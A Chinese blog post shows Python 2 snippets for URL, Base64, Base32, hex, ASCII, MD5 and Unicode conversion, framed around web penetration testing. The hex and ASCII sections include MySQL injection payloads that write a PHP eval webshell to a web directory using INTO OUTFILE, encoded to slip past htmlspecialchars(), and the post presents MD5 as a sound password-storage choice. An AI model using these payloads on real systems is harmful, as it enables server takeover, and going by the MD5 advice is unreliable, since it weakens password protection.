Python 编码转换实战:从 URL 到 Unicode 的全覆盖指南

青禾
青禾
发布时间:2026-10-13| 2人浏览过
原创

本文详细介绍如何利用 Python 进行常见的编码转换操作,涵盖 URL 编码、Base64、Hex 十六进制、ASCII 码及 Md5 哈希计算。通过具体代码示例,展示在 Web 安全和渗透测试场景中如何绕过过滤函数或处理乱码问题,帮助开发者高效解决日常编码处理需求。

前言

回顾初学阶段,处理编码转换时通常依赖搜索引擎查询“URL解码”、“Base64加密”或“Hex转换”,或者使用名为“小葵多功能转换工具”的软件,甚至直接利用 Burp Suite 的 Decoder 功能。尽管这些方式看似便捷,但仍存在效率瓶颈:在线工具耗时较长,搜索过程可能占据总时间的三分之二;部分本地工具如 Burp 在处理中文时偶尔会出现乱码显示问题。

随后,我开始转向使用 Python 作为日常编码转换的主要工具……

开启 Python 转换之旅

URL 编码

URL 编码是浏览器打包表单输入的标准格式,也是 Web 开发人员最为熟悉的编码方式之一。

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64 编码常用于网页表单和 HTTP 传输中的参数传递,同时也广泛应用于邮件协议中用户信息的传输。

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

曾有一次 CTF 比赛中涉及 Base32 解密,由于多数网站不提供在线解密服务,导致解题一度受阻。然而,若使用 Python,其处理难度与 Base64 类似,仅需调整相应的函数即可轻松实现。

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

十六进制编码是 Web 应用中常见的编码方案。对于 Web 安全人员而言,众所周知的是,MySQL 注入可通过 Hex 编码绕过 htmlspecialchars() 函数,进而写入 Webshell。

例如:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

以下是使用 Python 实现 Hex 加解密的方法:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
>>>

ASCII

MySQL 中的 char() 函数用于转换 ASCII 码,利用这一特性同样可以绕过 htmlspecialchars() 函数的限制。

例如:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

使用 Python 将字符串转换为 ASCII 码相对简单,但进行逆向转换(即从 ASCII 码还原字符串)则需要一些技巧:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

Md5 在 Web 安全领域广为人知,凭借其不可逆特性,大多数网站在存储用户密码等敏感数据时均采用 Md5 加密。在提交 Payload 需要 Md5 加密时,可使用下述方法轻松实现。若需解密,建议前往 cmd5 平台查询。

>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'

>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>

Unicode 转中文

Unicode 转换为中文的场景十分常见,尤其在渗透测试过程中。使用 Burp 处理时可能出现中文乱码,而在 Python 中实现这一转换则非常简单。

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

总结

Python 在实际应用中极为便捷,编码转换仅是其众多功能之一。文中所述的编码转换方法均为笔者日常积累所得,若未涵盖您关注的领域,欢迎在评论区补充。以上就是本文的全部内容,希望这些内容能对您的学习或工作有所帮助。如有任何疑问,欢迎留言交流,感谢大家对本站的支持。

相关标签:

免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。

Python 相关产品和应用

全部下载
Selenium

Selenium

4.51.0 · Windows

用于浏览器自动化和 Web 测试的 Python 工具。

scikit-learn

scikit-learn

1.9.1 · Windows

常用 Python 机器学习算法与模型评估工具库。

Black

Black

26.10.1 · Windows

强调一致性的 Python 自动代码格式化工具。

Ruff

Ruff

0.17.1 · macOS

由 Rust 编写的高速 Python 代码检查和格式化工具。

pytest

pytest

9.1.1 · Windows

简洁而强大的 Python 自动化测试框架。

FastAPI

FastAPI

0.146.0 · Windows

高性能 Python API 框架,支持类型提示和自动接口文档。

Flask

Flask

3.1.3 · Windows

轻量灵活的 Python Web 应用框架。

Django

Django

6.1.2 · Windows

成熟的 Python Web 框架,适合构建内容站点和业务系统。

Spyder

Spyder

6.1.7 · Windows

面向科学计算与数据分析的 Python 集成开发环境。

SciPy

SciPy

1.18.1 · Windows

面向科学、工程和技术计算的 Python 算法库。